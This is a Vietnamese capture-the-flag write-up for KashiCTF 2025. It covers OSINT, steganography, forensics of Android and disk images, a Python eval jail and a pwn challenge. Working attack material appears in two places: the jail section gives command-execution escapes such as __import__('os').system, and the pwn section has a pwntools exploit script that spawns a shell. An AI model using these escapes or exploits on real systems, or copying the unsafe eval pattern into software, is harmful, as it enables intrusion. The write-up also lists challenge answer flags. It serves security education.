# Kashi CTF 2025

---
## crypto
### 1. Lost Frequencies


> Flag: KashiCTF{OHNOBINARYMORSE}
---
## osint
### 1. Who am I ??

Bài cho ảnh:

Hình ảnh về một con đường với các áp phích chính trị, đằng sau là tòa nhà văn phòng có tên DUNA HOUSE, cùng với yêu cầu tìm ra chính trị gia mà con đường này được đặt theo tên. Mình bắt đầu với DUNA HOUSE thì biết được là chuỗi công ty bất động sản có chi nhánh trên khắp Hungary.
Tra Google Maps, ta tìm kiếm các chi nhánh của DUNA HOUSE ở Budapest và nhận thấy rằng vị trí trong ảnh trùng với con đường Bajcsy-Zsilinszky út. Tiếp tục GG mình có được Endre Bajcsy-Zsilinszky, một chính trị gia Hungary nổi tiếng với lập trường chống phát xít trong Thế chiến thứ hai. Ông đã bị hành quyết vào năm 1944 do chống lại chính quyền thân phát xít của Hungary.
> Flag: KashiCTF{Endre_Bajcsy_Zsilinszky}
---
### 2. Old Diner

Các từ khóa cần lưu ý:
> Greek omlette
> american experience
> served ice cream with coke
Từ những dữ kiện trên, mình bắt đầu tìm kiếm với từ khóa `diner that served ice cream with coke, Greek omlette`:

Có được 1 danh sách các cửa hàng thỏa mãn yêu cầu, kiểm tra qua 1 số cửa hàng, mình thấy được có cửa hàng `Lexington Candy Shop` là 1 cửa hàng lâu đời, vì đề có nói đến việc trải nghiệm rất "Mỹ", nên có thể tạm khẳng định là các cửa hàng có thâm niên lâu năm:

Tuy nhiên thì đến phần giá cả thì mình có tra cả menu của quán, cả online và tại quán, thế nhưng khi submit thì kết quả vẫn bị sai, mình có nghĩ đến việc hóa đơn sẽ tính cả phí tips hay VAT, nma không đúng, như vậy có nghĩa là người bạn này ngoài món Greek omelette ra vẫn có cả các món khác, mình bắt đầu tìm các review (thói quen khi làm các bài osint), thì phát hiện được review thú vị ở trang này:
> https://www.tripadvisor.com/ShowUserReviews-g60763-d522599-r737610550-Lexington_Candy_Shop-New_York_City_New_York.html
> 
Bình luận có đề cập đến từ khóa mình note ở trên, tiếp tục xem phần ảnh:
>https://www.tripadvisor.com/Restaurant_Review-g60763-d522599-Reviews-or15-Lexington_Candy_Shop-New_York_City_New_York.html#/media-rr/522599/445152222:p/?albumid=101&type=0&category=101
>
Như vậy đó chính là hóa đơn mà người bạn đó cần thanh toán, kết hợp lại mình có flag:
> KashiCTF{Lexington_Candy_Shop_41.65}
---
### 3. Kings

Bài cho ảnh:

Tuy nhiên mô tả bài này rất lạ, mình có dùng GG dịch nhưng vẫn không thể hình dung được ngụ ý là gì, hỏi GPT thì không hiểu sao nó hiểu được:

Sau một vài lần hỏi bị nó phân tích sai thì mình cũng xác định được nó ở `State Hermitage Museum in Saint Petersburg, Russia`, tuy nhiên thì do tọa độ yêu cầu 4 chữ số sau dấu , nên bước tiếp theo là bruteforce các giá trị thuộc bảo tàng đó (hơi guessy):

> Flag: KashiCTF{59.9399_30.3149}
---
## misc
### 1. Easy Jail

Bài cho file src:
```python=
#!/usr/bin/env python3
print(" _ _ _ ")
print(" | | | | | | ")
print(" ___ __ _| | ___ _ _| | __ _| |_ ___ _ __ ")
print(" / __/ _` | |/ __| | | | |/ _` | __/ _ \| '__|")
print("| (_| (_| | | (__| |_| | | (_| | || (_) | | ")
print(" \___\__,_|_|\___|\__,_|_|\__,_|\__\___/|_| ")
def calc(op):
try :
res = eval(op)
except :
return print("Wrong operation")
return print(f"{op} --> {res}")
def main():
while True :
inp = input(">> ")
calc(inp)
if __name__ == '__main__':
main()
```
Đây là một bài Python Jail dạng calculator (máy tính), trong đó chương trình cho phép người dùng nhập biểu thức và tính toán kết quả bằng eval. Tuy nhiên, nếu không được xử lý cẩn thận, eval có thể bị lợi dụng để thực thi lệnh tùy ý.
>Hàm eval(op) thực thi chuỗi op được nhập từ người dùng.
Không có bất kỳ cơ chế lọc hay hạn chế ký tự nào.
Điều này cho phép thực thi mã Python tùy ý nếu biết cách vượt qua.
Mục tiêu
Chạy được lệnh hệ thống hoặc đọc file chứa flag.
Thường trong CTF, flag sẽ nằm trong file như flag.txt hoặc đường dẫn tương tự.
Ý tưởng khai thác
Các hàm tích hợp sẵn như __import__('os').system('ls') để liệt kê file.
Dùng open('flag.txt').read() để đọc flag.
Dùng các thuộc tính ẩn như ().__class__.__bases__[0].__subclasses__() để tìm đối tượng hỗ trợ thực thi lệnh.

> Flag: KashiCTF{3V4L_41NT_54F3_W8GZ7p5M}
---
### 2. SNOWy Evening

Đọc tên bài và mô tả biết sử dụng tool nào luôn:
```bash=
stegsnow -p Aakash -C poemm.txt
```

Truy cập link có được:

```bash=
OOOMoOMoOMoOMoOMoOMoOMoOMoOMMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmoomOo
MMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmoomOoMMMmoOMMMMMMmoOMMMMOOMOomOo
MoOmoOmooOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoO
MoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOo
moomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoomOoOOOmoOOOOmOomOo
MMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOo
mOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoomOoOOOmoOOOO
mOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOo
moomoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOo
moOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoO
MoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomoOMoO
MoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMM
moOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOo
MMMmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOo
mOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoo
mOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoO
MoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomoOMoO
MoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOO
MOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoO
MoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOO
MOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoO
moOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOo
mOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoo
moOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoo
mOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoO
MoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoO
mOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOO
MOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoO
moOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOo
MMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOo
mOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOo
mOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoo
mOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOoOOO
moOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoO
MoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoo
mOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoO
MMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoO
MoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOo
MMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOO
mOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOO
MOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMM
moOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOo
moomoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOo
moomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOo
OOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOo
moOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoO
MoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoO
MoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoO
MMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMM
moOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOo
mOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoO
MoOMoOMoOMoOMoomOo
```
Decode:

> Flag: KashiCTF{Love_Hurts_5734b5f}
---
### 3. Self Destruct

Bài cho file `.vdi`, có 2 hướng giải quyết:
+ Nếu có máy ảo VB, ta có thể chạy trực tiếp file đó vào, flag bị chia thành nhiều phần, chỉ việc `grep -ir "part"` là sẽ có hết.
+ Trường hợp không có máy ảo VB, ra sử dụng FTK, tìm chay các phần.
> Flag: KashiCTF{rm_rf_no_preserve_root_Am_1_Right??_No_Err0rs_4ll0wed_Th0}
---
### 4. Playing with numbers

```bash=
Decoding Matrix:
[-103.08333333 -131.25 -81.41666667 -91.58333333 -25.25 -63.5 -60.33333333 -12.75 -151.08333333]
[ -40.5 -52.5 -34.5 -36.5 -10.5 -28. -25. -4.5 -62.5 ]
[ 42.58333333 54.75 34.91666667 39.08333333 11.75 26.5 26.33333333 7.25 63.58333333]
Array:
[2 4 -1 3 -6 1 8 4 -1]
```
Script Solve:
```python=
import numpy as np
# Input matrix X
X = np.array([
[-103.08333333, -40.5, 42.58333333],
[-131.25, -52.5, 54.75],
[-81.41666667, -34.5, 34.91666667],
[-91.58333333, -36.5, 39.08333333],
[-25.25, -10.5, 11.75],
[-63.5, -28.0, 26.5],
[-60.33333333, -25.0, 26.33333333],
[-12.75, -4.5, 7.25],
[-151.08333333, -62.5, 63.58333333]
])
# Alphabet string to map numbers to letters
letters = 'abcdefghijklmnopqrstuvwxyz'
# Input matrix Y
Y = np.array([
[2, 4, -1],
[3, -6, 1],
[8, 4, -1]
])
# Matrix multiplication
result = np.dot(X, Y)
# Print corresponding letters
for row in result:
for value in row:
print(letters[(round(value) - 1) % 26], end='')
```
> Flag: KashiCTF{matrixmultiplicationiseasyy}
---
## pwn
### 1. leap_of_faith

Script Solve:
```python=
#!/usr/bin/python3
from pwn import *
from time import sleep
context.log_level='debug'
exe = ELF('chall', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
bin = lambda : next(libc.search(b'/bin/sh'))
if args.REMOTE:
p = remote('kashictf.iitbhucybersec.in',xxxx)
else:
p = process(exe.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x0000000000401293
c
''')
GDB()
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'40125e')
sla(b': ',b'4011BA')
p.interactive()
```
> Flag: KashiCTF{m4r10_15_fu_w17H_C_K9Eknfil}
---
## forensics
### 1. Memories Bring Back

Bài cho file `.vhd`:
>File VHD (Virtual Hard Disk) là một định dạng tệp được sử dụng để mô phỏng một ổ đĩa cứng vật lý. Nó được phát triển bởi Microsoft và thường được dùng trong các môi trường ảo hóa như Microsoft Hyper-V, VirtualBox hoặc VMware.
Mở file VHD như thế nào?
Windows:
Chuột phải vào “This PC” → Quản lý ổ đĩa (Disk Management) → Chọn “Attach VHD”.
Linux:
Sử dụng lệnh mount hoặc qemu-nbd để gắn file VHD.
Phần mềm khác: VirtualBox, 7-Zip (chỉ để trích xuất dữ liệu).
Mình mở bình thường thì có được folder chứa các file ảnh và tài liệu, ban đầu có toàn ảnh jpg nhưng chỉ có 1 ảnh png, mình phân tích ra thì thấy có nhúng file âm thanh morse ở cuối, thế nhưng decode thì chả có nghĩa gì, khả năng là hướng mà author làm cho người chơi đi lệch:

Sau 1 hồi kiểm tra thì mình không thấy gì hơn, mở cmd lên và `dir /r` hiển thị danh sách các tệp và thư mục trong thư mục hiện tại kèm theo thông tin về các Alternate Data Streams (ADS) nếu có và phát hiện 1 số file chứa dữ liệu:

> Alternate Data Streams (ADS) là gì?
ADS là một tính năng của hệ thống tệp NTFS cho phép tệp hoặc thư mục chứa nhiều luồng dữ liệu.
Nó thường bị lợi dụng để ẩn dữ liệu mà không làm thay đổi kích thước hiển thị của tệp trong Windows Explorer.
đọc hết các tệp đính kèm là có flag:

> Flag: KashiCTF{DF1R_g03555_Brrrr}
---
### 2. Corruption

Bài này cũng có 2 cách làm, nếu không có linux thì bỏ vào ftk và ctrl+f thì sẽ thấy được flag:

Còn với linux cũng chỉ cần strings grep:
> Flag: KashiCTF{FSCK_mE_B1T_by_b1t_Byt3_by_byT3}
---
### 3. Restaurant

Bài cho 1 ảnh jpg, thường cuối ảnh jpg kết thúc sẽ là 2 byte `ff d9`, thế nhưng ảnh này có 1 số byte dư, tra 1 lúc thì mình phát hiện đây là dạng bacon cipher:
> https://gchq.github.io/CyberChef/#recipe=Bacon_Cipher_Decode('Standard%20(I%3DJ%20and%20U%3DV)','A/B',false)&input=QkEgQUIgQUEgQUIgQkIgQUEgQkEgQUIgQUIgQkEgQkEgQkEgQUEgQUIgQUEgQkEgQUEgQUEgQUIgQUEgQkEgQUEgQUEgQUIgQUEgQUEgQUEgQUEgQkEgQkEgQUIgQUIgQUEgQkEgQkEgQUIgQUIgQUIgQUIgQkEgQUEgQUIgQUEgQkIgQUIgQUIgQkEgQkEgQkEgQUIgQUIgQUEgQUEgQkIgQUEgQUEgQkIgQTA

> Flag: KashiCTF{THEYWEREREALLLLYCOOKING}
---
### 4. Look at Me

Tiếp tục là 1 ảnh jpg, mình thử đủ mọi tool đã biết thế nhưng không có tác dụng gì, nhưng sau khi đọc lại đề thì có thể thấy được là đề yêu cầu nhìn vào ảnh, dùng lens tra thử thì biết được ảnh là 1 tool:

> FLag: KashiCTF{K33p_1t_re4l}
---
### 5. Stego Gambit

Bài cho 1 ảnh thế cờ vua, strings thì thấy được nhiệm vụ của ta là phải xác định được hướng đi đúng làm key để lấy được flag, sau 1 hồi hỏi AI mãi không được thì mình chuyển qua osint và ai ngờ gặp được:
> https://www.reddit.com/r/chess/comments/zvf21z/white_to_move_mate_in_2/
> 
Có luôn key tốt nhất: ` Bh1Kxa2_Qg2#`

> Flag: KashiCTF{573g0_g4m617_4cc3p73d}
---
### 6. Do Not Redeem #1

> Mirrors:
https://gofile.io/d/edmDCj
https://storage.googleapis.com/chall-storage/kitler's-phone.tar.gz
[GDrive](https://drive.google.com/file/d/17FPKoDcDBKuRT5-lz13Lw-s3VjNDX5e0/view)
https://limewire.com/d/10d200d2-f55c-446e-9f2b-82bb81f38a84#w-sotKaYWiawMRljM_R78scaItljuNBK88sz90NWpZU
```bash=
509 git clone https://github.com/savsch/chall.git
510 cd chall
511 ls
512 git lfs install\ngit lfs pull
513 sudo apt update && sudo apt install git-lfs -y\n
514 git lfs install\ngit lfs pull
515 mkdir extracted\ncat kitler\'s-phone.tgz-part* | tar -xzf - -C extracted
```
Bài cho file hệ thống từ thiết bị android, Ta cần tìm OTP cùng timestamp khi Kitler nhận được OTP, để kiếm được các thông tin đó, mình bắt đầu với folder data:
```bash=
┌──(kali㉿kali)-[~/Desktop/chall/extracted]
└─$ ls -a
. acct bootstrap-apex data init.environ.rc metadata oem storage system_dlkm vendor
.. apex cache data_mirror linkerconfig odm product system system_ext vendor_dlkm
```
> OTP thường được gửi qua SMS hoặc email, vì vậy nên kiểm tra dữ liệu trong data/data/com.android.providers.telephony/databases/mmssms.db (nếu có).
```bash=
──(kali㉿kali)-[~/Desktop/chall/extracted]
└─$ find data -name "mmssms.db"
data/data/com.android.providers.telephony/databases/mmssms.db
data/user_de/0/com.android.providers.telephony/databases/mmssms.db
data/user/0/com.android.providers.telephony/databases/mmssms.db
```
Có 3 file `.db`, mở file đầu ta có được:
```bash=
1 57575022 1740251608654 1740251606000 0 1 -1 1 0 839216 is your Amazon OTP. Don't share it with anyone.
```
Vậy có thể thấy được OTP: 839216 còn Timestamp: Cột thứ 4 là 1740251608654.
> Flag: KashiCTF{839216_1740251608654}
---
### 7. Do Not Redeem #2

Để xác định gói ứng dụng (package name) mà kẻ lừa đảo sử dụng để tấn công Kitler, cần kiểm tra các log hệ thống hoặc thông tin từ các file liên quan trong thư mục data hoặc system. Bài này nếu tìm chay sẽ hơi khó, mình sử dụng tool [ALEAPP](https://github.com/abrignoni/ALEAPP):
```bash=
git clone https://github.com/abrignoni/ALEAPP.git
cd ALEAPP
pip3 install -r requirements.txt
```
```bash=
cd ~/Desktop/chall/
git clone https://github.com/abrignoni/ALEAPP.git
cd ALEAPP
python3 -m venv venv # Tạo môi trường ảo
source venv/bin/activate # Kích hoạt môi trường ảo
pip install -r requirements.txt
```
Sau khi chạy, ALEAPP sẽ xuất ra các báo cáo HTML hoặc CSV trong thư mục output/. Mở file báo cáo và tìm phần Installed Packages:
Tuy nhiên thì ở report packages lại không tìm được package khả nghi nào, mình chuyển sang file report khác và thấy được:

App name là `NetherGames Vouchers` nhưng package lại là `com.google.calendar.android`, submit và nó đúng:
> Flag: KashiCTF{com.google.calendar.android}
---
### 8. Do Not Redeem #3

Tiếp tục công việc tìm ra user và đường link mà tên lừa đảo đã gửi cho nạn nhân, vấn đề là nạn nhân đã gặp rất nhiều người trên nền tảng nào đó, nếu đã kiểm tra sơ qua thì thì có thể thấy được ta có discord và facebook, mình bắt đầu với discord trước:
`chall kashi/ALEAPP/extracted/data/data/com.discord/cache/http-cache/`

Nhìn ở đây có thể thấy 1 số file gzip nhưng bị thay đổi đuôi thành 0 hoặc 1, viết script để lọc ra:
```python=
import gzip
import shutil
import os
folder_path = "/home/kali/Desktop/http-cache" # Thư mục hiện tại, có thể thay đổi đường dẫn
def is_gzip_file(filepath):
""" Kiểm tra file có phải GZIP không bằng cách đọc 2 byte đầu tiên """
with open(filepath, 'rb') as f:
magic_number = f.read(2)
return magic_number == b'\x1f\x8b' # Header của GZIP
for filename in os.listdir(folder_path):
filepath = os.path.join(folder_path, filename)
if os.path.isfile(filepath) and is_gzip_file(filepath):
output_filepath = os.path.splitext(filepath)[0] # Xóa phần mở rộng (nếu có)
with gzip.open(filepath, 'rb') as f_in:
with open(output_filepath, 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
os.remove(filepath) # Xóa file nén sau khi giải nén
print(f"Giải nén: {filename} -> {output_filepath}")
print("Hoàn thành!")
```
```python=
import os
import shutil
source_folder = "/home/kali/Desktop/http-cache" # Thư mục chứa file đã giải nén
destination_folder = "/home/kali/Desktop/gunzipfiles" # Thư mục đích
# Danh sách file cần di chuyển (không có đường dẫn)
files_to_move = [
"c56214a20dd6815bd3f6dbcbafb099b6",
"eabe421493101636f62d5d8645105801",
"e0842339e02e89048ddeb2ecaa344087",
"fa533ac5ead9645bea9bee90e0a9c09c",
"c0dcba6570747a7c665c2ec31458f1de",
"b8675f0120ed57c7b025c5d4122cabe5",
"73d0cf0702b2769b6a712c56d5815217",
"930ed9596cfe2fc6ba0c825f5471e597",
"3d2ef0804e3485e8e61ca3f5f9765430",
"4a6db63d679905f7354898b4d7726437",
"86f85c088f4003bfea42936412b096ef",
"cd2c8b2925a04c5d54862abd3f01a34e",
"8a9b1bff7596c8241769132d5c3d4395",
"9ce7d66581c66ee78baf3a5af76526d6",
"47a09b04c3a178630ab108ebfc270bcf",
"ff7fd84893e4e983566ad0c9cfb6b361",
"6626b67b56009d3432759659b707f8ad",
"116799f7d931e88514d4e5545b05e0ea",
"594a2e1ef672e0e658619477b170f0bc",
"921c05ead4be00b7f6bd288c77b699cb",
"70689a982bc5034567530df41f755ac8",
"fab0fcb1e3ccc3ae74fefb6cfa21b79c",
"42b1fce53aa9609fb137f9378bdeb394",
"0a66f4d6c75df6360cf73b099cce2819",
"0d671db98b6474d72ac28ec58c4956c3"
]
# Tạo thư mục đích nếu chưa tồn tại
os.makedirs(destination_folder, exist_ok=True)
# Di chuyển file trong danh sách
for filename in files_to_move:
src_path = os.path.join(source_folder, filename)
dst_path = os.path.join(destination_folder, filename)
if os.path.exists(src_path): # Kiểm tra file có tồn tại không
shutil.move(src_path, dst_path)
print(f"Đã di chuyển: {src_path} -> {dst_path}")
else:
print(f"LỖI: File không tồn tại - {src_path}")
print(f"\nHoàn thành! Tất cả file đã được di chuyển vào: {destination_folder}")
```
Kết quả sau khi lọc file và giải nén các file đó ra:

Còn lại thì chỉ cần strings grep:

KashiCTF{savsch_https://we.tl/t-Ku8Le7js}
---
### 9. Do Not Redeem #4

---
### 10. Do Not Redeem #5 (rev)
